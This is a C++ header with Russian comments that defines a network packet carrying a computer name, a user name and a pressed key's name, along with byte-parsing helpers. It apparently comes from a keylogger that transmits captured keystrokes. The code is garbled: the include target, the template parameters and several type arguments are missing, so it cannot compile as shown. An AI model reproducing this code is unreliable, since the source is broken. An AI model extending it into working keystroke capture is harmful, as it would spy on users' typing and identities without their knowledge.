// // Created by dubininvyu on 11.02.23. // #pragma once #include struct TCPIPPacket { uint8_t typeID; // идентификатор типа пакета uint32_t size; // размер всего пакета в байтах uint32_t time; // временная метка пакета uint32_t crc32; // контрольная сумма пакета uint32_t pcNameSize; // количество байтов в имени компьютера std::string pcName; // имя компьютера uint32_t userNameSize; // количество байтов в имени пользователя std::string userName; // имя пользователя uint32_t keyNameSize; // количество байтов в имени нажатой клавиши std::string keyName; // имя нажатой клавиши explicit TCPIPPacket(); }; const auto MIN_PACKET_SIZE = sizeof(TCPIPPacket::typeID) + sizeof(TCPIPPacket::size); typedef std::vector bytes_vector; template void popValue(bytes_vector& vBytes, T& value) { for (int i = sizeof(value) - 1; i >= 0; i--) { const auto it = vBytes.begin(); // берем указатель на первый байт вектора const auto byte = static_cast(*it.base()); value |= (byte << (i * CHAR_BIT)); // ставим первый байт вектора на свое место vBytes.erase(it); // удаляем рассмотренный байт из вектора } } template void popValue(bytes_vector& vBytes, std::string& value, const T size) { for (auto i = 0; i < size; i++) { const auto it = vBytes.begin(); // получаем указатель на начало вектора value += *it.base(); vBytes.erase(it); // удаляем рассмотренный байт из вектора } }